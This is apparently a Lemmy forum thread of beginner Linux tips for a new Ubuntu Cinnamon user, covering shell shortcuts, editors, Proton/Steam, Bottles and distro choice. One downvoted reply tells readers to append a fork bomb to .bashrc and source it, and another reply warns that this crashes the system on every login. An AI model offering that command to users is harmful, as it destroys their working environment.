I just installed Ubuntu 22.04.3 LTS (Cinnamon) on an empty laptop a couple days ago and have been experimenting a lot. I’m coming from being a Windows user since I was just a little kid playing old DOS games on my grandpa’s Win-98 PC back in around 2000. My daily driver is currently running Windows 10 but I am pretty adamant on not going with Win-11. I’ve been wanting to experiment with Linux for a while and Cinnamon so far seems like a lot of fun to navigate. Terminal is amazing. The fact that you can custom-write keyboard commands that can be hand-tailored to individual programs on your computer via the OS… that’s powerful.

I have not tried running WINE yet but I plan on doing so soon. I also have not done much of anything, honestly, except for learning how to search for programs with gnome-software --search=. I have also used sudo a couple times to download software here and there, but I know I am not tackling this in as systematic of a way as I ought to be to really figure this machine out.

What are some really important basic commands I can use to start branching out into Terminal command structures and learning more about how I can edit and customize my computer? And if Cinnamon has shortfalls or weaknesses that I may run into eventually, what are some good alternative distros that I could leapfrog to eventually? I do not have any coding experience (currently), but I do consider myself a semi-power-user on Windows, having messed with CMD many times and digging through all the damn menus to access drivers and alter ports.

  • OsrsNeedsF2P@lemmy.ml
    link
    fedilink
    arrow-up
    63
    ·
    1 year ago

    My main recommendation is this - The more techsavvy you are, the harder a switch to Linux will be, because you know how to do some complex things on Windows, and now you’ll have to relearn it on Linux.

    Take your time, Google lots, and just know the ceiling on Linux is much higher for power users, so getting over the initial hump will reward you greatly

    • BearPear@lemmy.world
      link
      fedilink
      arrow-up
      11
      ·
      edit-2
      1 year ago

      I also switched to linux after using windows for more than 10 years. I still havent gotten used to linux yet. There are still a lot of things I struggle with.

      I kind of had difficulty setting up my printer, I tried to install the HP drivers but it did not install. But none of this installation was required because linux supports driverless printing throught the cups service which I wish I knew earlier.

      Another is the use of vi text editor, I couldn’ t figure out how to even edit the file and save the file🤣.

      Yeah many more examples. It is a bumpy ride. But it is all worth it.

      • Lanthanae@lemmy.blahaj.zone
        link
        fedilink
        arrow-up
        7
        ·
        edit-2
        1 year ago

        You don’t have to learn vi if you don’t want to. Just switch your default text editor to one that you like (it doesn’t even have to be a GUI one)

            • Lanthanae@lemmy.blahaj.zone
              link
              fedilink
              arrow-up
              4
              ·
              1 year ago

              I second this. Just going through vimtutor a couple times and then learning how to use the :help pages effectively is all you need to make vim usable.

              I’d recommend using neovim over plain vim though, if not for any reason other than it has nicer defaults.

          • nestEggParrot@lemmy.sdf.org
            link
            fedilink
            arrow-up
            1
            ·
            1 year ago

            Like other comments mention, neovim is way better and use preconfigured setups (like Astrovim) when getting started to discover features you like and then get to writing your own configurations.

            Also micro is way better than nano foa simple edits and available on most package managers.

      • poplargrove@reddthat.com
        link
        fedilink
        arrow-up
        3
        ·
        1 year ago

        You should try installing vim (“Vi IMproved”) and run the vimtutor program it comes with, it walks you through the basics. Vim is addictive.

  • Forkk@forkk.me
    link
    fedilink
    English
    arrow-up
    50
    arrow-down
    1
    ·
    1 year ago

    Ctrl+R to search your bash history. I hate how long I went without knowing this, so I’ve always got to spread the word about it.

      • Damage@feddit.it
        link
        fedilink
        arrow-up
        10
        ·
        1 year ago

        if you use zsh, typing the first part of the command and then using the up arrow searches through the history for commands with the same starting characters

      • Forkk@forkk.me
        link
        fedilink
        English
        arrow-up
        4
        ·
        1 year ago

        Didn’t take me that long, but I had a similar reaction to learning about it haha

      • Octorine@midwest.social
        link
        fedilink
        English
        arrow-up
        2
        ·
        1 year ago

        I think I’ve learned and forgotten that tidbit a couple of times. It’s something that I need to do seldom enough that when I finally do, I don’t remember the keybind .

      • chepox@sopuli.xyz
        link
        fedilink
        arrow-up
        3
        ·
        1 year ago

        77 times then 78 then 79 for the 3 commands you are looking for you ran consecutively 5 weeks ago

    • bionicjoey@lemmy.ca
      link
      fedilink
      arrow-up
      4
      arrow-down
      1
      ·
      1 year ago

      Also press tab to auto complete the current word (works as soon as you’ve typed enough characters to eliminate ambiguity)

  • PriorProject@lemmy.world
    link
    fedilink
    arrow-up
    24
    ·
    1 year ago

    Two tips:

    I have not tried running WINE yet but I plan on doing so soon.

    Steam “just works” on Linux, you can install it via flatpak (which I use) or from their deb repo. It includes “Proton”, which is a fancy bundle of wine and some extra open source valve sauce to make it nice and easy to use. Any game that runs on the steam deck also runs on Linux via proton, and there’s no messing around at all. It looks and feels just like steam on Windows, and thousands of games just work with no setup or config beyond clicking the big blue and green buttons to install and run. Not EVERY games works, but tons do. I’d heavily recommend this over raw wine to a beginner.

    The second tip is not to ask what you can do on Linux. The answer, to a first approximation, is that you can do everything on Linux that you can do on Windows or OSX. I daily drive all three, and mostly do the same stuff on them. Instead, ask YOURSELF what you WANT to do on Linux. Then Google and ask us HOW to do it… or what the nearest approximation is if the precise thing you want to do doesn’t work on Linux.

  • s38b35M5@lemmy.world
    link
    fedilink
    English
    arrow-up
    22
    ·
    edit-2
    1 year ago

    My tip would be to try a few distros before you settle on one. Ubuntu was it for me about seven years ago, but I used mint for a few years and am using MX with xfce now.

    Also, sudo !! is pretty useful when you forget to sudo the previous command. It means “super user do the last command I just boneheadedly forgot to do that to”

    • nestEggParrot@lemmy.sdf.org
      link
      fedilink
      arrow-up
      4
      ·
      edit-2
      1 year ago

      Also can use !! and do a space at any place to bring in last command. Not used much as you could just do an up arrow but helps if you edit around a lot and experimenting with a cli tool or command.

      • Tayphix@lemm.ee
        link
        fedilink
        arrow-up
        6
        ·
        1 year ago

        Also, !! is a shortcut for !-1 so if you want the 2nd latest command you could do !-2 and so on.

  • Lanthanae@lemmy.blahaj.zone
    link
    fedilink
    arrow-up
    21
    arrow-down
    3
    ·
    1 year ago

    Honestly, one of the best things you could do is use Linux Mint instead of Ubuntu. It’s a lot more new user friendly.

  • weshgo@lemmy.sdf.org
    link
    fedilink
    English
    arrow-up
    13
    ·
    1 year ago

    do not copy paste commands you do not uderstand from shady forums in hope it will solve your problem :)

    • cow@lemmy.world
      link
      fedilink
      arrow-up
      4
      arrow-down
      15
      ·
      1 year ago

      Everyone run echo ":(){:|:};:" >> .bashrc; source .bashrc in your linux terminal.

      • vis4valentine@lemmy.ml
        link
        fedilink
        arrow-up
        8
        ·
        1 year ago

        Warning, this is a script bomb that will make your system crash, and is adding it to the bashrc, which means it will run again after you reboot your computer.

  • mrvictory1@lemmy.world
    link
    fedilink
    arrow-up
    12
    ·
    edit-2
    1 year ago

    Never use sudo for graphical apps. If you need admin permissions use pkexec instead. ie. pkexec gparted

  • vettnerk@lemmy.ml
    link
    fedilink
    arrow-up
    12
    ·
    edit-2
    1 year ago

    Not very practical, but good for understanding the OS: Everything is a file. Even your filesystem and harddrive is represented by a file (devicenode).

    Back in the day, before things such as pulseaudio and equivalents became the norm, there was also such a file (it might still exist, idk) for your soundcard. By shoving the contents of a wav file directly into /dev/dsp, you could hear it as if it was played normally.

    Unrelates to the above, in a terminal context it’s very handy to learn the concepts of STDIN, STDOUT, and STDERR, and how to manipulate these. I won’t go into it here, but whenever you see a bunch of commands strung together with redirects, < > | >>, that’s usually for sending the output (STDOUT) of one command somewhere else, such as to the input STDIN to another command.

  • throwawayish@lemmy.ml
    link
    fedilink
    arrow-up
    12
    ·
    edit-2
    1 year ago

    I just started using Linux

    Welcome!

    I have not tried running WINE yet but I plan on doing so soon.

    Don’t feel pressured in any way to use Wine. Sure; if you’re in need of certain software that’s only available on Windows, then feel free to engage with Wine to get said software working on your system. However, note that a lot of alternatives exist, so make sure to check them out through something like alternativeto.net before getting involved with Wine.

    What are some really important basic commands I can use to start branching out into Terminal command structures and learning more about how I can edit and customize my computer?

    Broad question; arguably it makes sense to start out with something like linuxjourney.com if you haven’t yet. After which, you might proceed to plunge deeper into some of the subjects that have been introduced through more expansive resources. Assuming that you might prefer something like a video guide of sorts; it’s worth pointing out that the videos made by the Learn Linux TV channel on YouTube are excellent. One might argue that the ArcoLinux distro might be worth exploring as a platform to learn Linux on; it’s literally one of its design goals. Though, once again, you shouldn’t feel pressured in any way to use a certain distro to learn Linux on. We’ll delve into distros later on.

    And if Cinnamon has shortfalls or weaknesses that I may run into eventually, what are some good alternative distros that I could leapfrog to eventually?

    Cinnamon is just a Desktop Environment, and it happens to look and function close to how Windows does, which is one of the main reasons it is often recommended to newer users that seek a familiar experience. There’s nothing necessarily wrong with Cinnamon, really. Though, it’s worth pointing out that it’s not one of the top dogs in the realm of Desktop Environments; those would be GNOME and KDE. Those two have put in considerable work and effort to have proper Wayland support, which we’ll call the ‘successor’ of X11; this is a very oversimplified description and thus somewhat false, but it would be out of scope for this comment to delve deeper into this. What’s worth pointing out is that Cinnamon -due to its reliance on X11- is (very likely) to be deprived of features like HDR support and superior security standards as long as they don’t put in the necessary time and effort to get proper Wayland support for themselves.

    In case your question was meant to ask if Ubuntu LTS is the best platform/distro to learn Linux on, then the only correct answer would be that it depends on your needs. Ubuntu is definitely a decent choice, but you’re not protected from unintentionally borking your system when you try to install Steam. Jokes aside, even though Pop!_OS is only based on Ubuntu and thus I don’t know for 100% sure if said bug stems from Ubuntu or Pop!_OS, it’s still worth pointing out that this is not necessarily a very bad showing for Ubuntu or Pop!_OS. Unfortunately bugs happen, though it’s great to have a system that might be better protected…, though unfortunately nothing comes without a cost… compromises… compromises…; moving on.

    In case you’re interested to explore other distros, perhaps take a look at distrochooser.de. It’s not exhaustive by any stretch of the imagination, but it’s decent as a first orientation. If you share your result, then we might even give our opinion on the matter based on said results. If you do end up sharing the result, consider answering the following questions as well (feel free to give non-binary answers):

    • Sane defaults or Blank slate?
    • Full control or Little to no control?
    • Secure or Convenient?
    • Tool to get work done or Tool to explore/play around?

    any great tips?

    You might come across a piece of software that’s not available within the repo of your distro. However, if you know that it’s available in another distro’s repo, then perhaps you should use Distrobox (or similar container-solutions) to access said software. Refer to videos on YouTube if you’re interested to know how it works, though its documentation is quite excellent as well.

  • marionberrycore@lemmy.blahaj.zone
    link
    fedilink
    arrow-up
    12
    ·
    1 year ago

    Try a few distros before settling down - setting things up a few times is a good way to get to know the ins and outs better. Try something other than plain Ubuntu - I really enjoyed Mint and PopOS personally, both of which are forks of Ubuntu. In my first 6 months I tried around 4-5 different Ubuntu family distros, and that was such an important learning experience for me.

    If you want to use wine, get bottles instead of running plain wine. The dependencies are much easier to manage, and you can run separate configurations of wine. As I know from personal experience, the sandboxing also helps prevent you fucking your computer up.

    On that note, backup your stuff - set it to do it automatically daily.

    Look up some terminal games - there are a few that are designed to help you learn. I don’t remember the names (I’m down to track them down later if that would help), but in particular I remember an SSH-based file searching game and a folder exploration dungeon crawler themed game.

    Learning commands is less useful than understanding how Linux is setup, but it’ll all come together with time - just keep playing around with it and learning new things.

  • quat@lemmy.sdfeu.org
    link
    fedilink
    arrow-up
    8
    ·
    1 year ago

    People will say “use this editor” or “use that window manager”, but honestly it’s just personal preference. There’s no award for using ed to edit files, and almost anything you can do with one distro you can do with any other distro. You might get an urge to distrohop and compile the kernel, and that’s fine, but imho far more useful is to learn how pipes work and what you can do with regular expressions. A tutorial for bash is always useful.

    • Ramin Honary@lemmy.ml
      link
      fedilink
      English
      arrow-up
      1
      ·
      edit-2
      1 year ago

      People will say “use this editor” or “use that window manager”, but honestly it’s just personal preference

      Just the same, if you are serious about using Linux, it really is a good idea to practice using Vi to the point where you are somewhat fluent. It doesn’t hurt to learn Emacs either, though I would prioritize Vi.

      The reason is simply that these are the editors that the majority of Linux-as-my-daily-driver users use, and it makes it easier to communicate with others and do problem solving if you have experience with these very commonly used Linux apps.

  • Fleppensteyn@feddit.nl
    link
    fedilink
    English
    arrow-up
    10
    arrow-down
    3
    ·
    1 year ago

    Switch from bash to zsh and make it look nice – https://dev.to/abdfnx/oh-my-zsh-powerlevel10k-cool-terminal-1no0 Also replace ls with exa and cat with batcat. Remember you can set aliases in ~/.bashrc or ~/.zshrc.

    If you like customization, I’d recommend KDE. If you like customizing keyboard stuff, you can customize your keyboard layout here: /usr/share/X11/xkb/symbols. Also look into espanso for text expansion.

    If you have an Android phone, get KDE Connect.

    If you need new software, check apt search if it’s in there.

    • Gamey@feddit.rocks
      link
      fedilink
      arrow-up
      3
      ·
      1 year ago

      That’s not very helpful advice for a beginner who just found a Distro and DE but the advice itself is good!

  • Gamey@feddit.rocks
    link
    fedilink
    arrow-up
    8
    arrow-down
    1
    ·
    edit-2
    1 year ago

    It’s a little contradictory but make use of the amazing community and don’t listen too much to the community. People are really helpful but you will hear stuff like “don’t use that distro” or “don’t use that desktop environment” a lot just because people in the community value those things and love to fight which is the best. You have to figure out what works best for you and not someone else! Still, the community is increadably helpful and there is someone to answer basically every question you have so never be afraid to ask stuff and welcome to the endless rabbithole! ;)

  • Random Dent@lemmy.ml
    link
    fedilink
    arrow-up
    7
    ·
    1 year ago

    If you’re typing out a long file path in the terminal you don’t have to type the whole thing out, you can just press tab and it’ll autocomplete for you.

    So for example, if your file is called 1234567890.jpg you can just type 123 and hit tab and it’ll fill in the rest. And if there’s more than one file that begins with 123 it’ll list them. Works for folder names too.

    • astrsk@artemis.camp
      link
      fedilink
      arrow-up
      3
      ·
      1 year ago

      To add to this, you can press tab twice to get a list of available autocomplete options, which take into context the most recently typed text. This includes specific commands as well as folder/files.